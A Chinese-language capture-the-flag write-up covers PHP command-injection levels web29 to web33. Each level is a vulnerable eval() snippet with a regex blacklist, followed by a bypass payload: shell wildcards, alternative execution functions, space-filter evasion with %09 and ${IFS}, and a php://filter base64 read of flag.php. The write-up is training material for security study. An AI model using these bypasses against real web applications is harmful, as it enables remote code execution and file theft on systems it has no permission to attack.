命令执行
web29
preg_match :匹配正则表达式
模式分隔符后的"i"标记这是一个大小写不敏感的搜索
模式中的\b标记一个单词边界,所以只有独立的单词会被匹配,如:
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) : True
if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) : False
小技巧:如果仅仅想要检查某个字符串是否包含另外一个字符串,不要使用 preg_match() , 使用 strpos() 会更快。
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
即 $c 不能匹配到大小写的flag
payload: ?c=system('tac f*');
linux知识:通配符
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
web30
题目
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了system,但是还有其他方法能够执行系统命令
如:
system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
exec : 执行一个外部程序,回显最后一行,需要用echo输出。
shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
`(反引号):同 shell_exec()
所以构造payload
payload: ?c=passthru('tac f*');
web31
题目
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这一次对于之前的payload是过滤了空格,但是有多种办法可以绕过,讲解如下:
${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09
因此得到payload:
?c=passthru("tac%09f*");
这里这五个,只有%09可以用。因为这里是命令执行不是代码执行。如${IFS}是在shell里用,而这里是在绕过php的正则。
另外同cat功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
web32
题目
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
上一关的还能用
因为过滤了分号,所以之前的都失效了,这里可以使用php短标签来闭合执行命令。这里可以用?c=include$_GET[a]?>
然后因为include不能直接包含出flag,所以使用php伪协议来读取flag的base64内容
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web33
题目
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}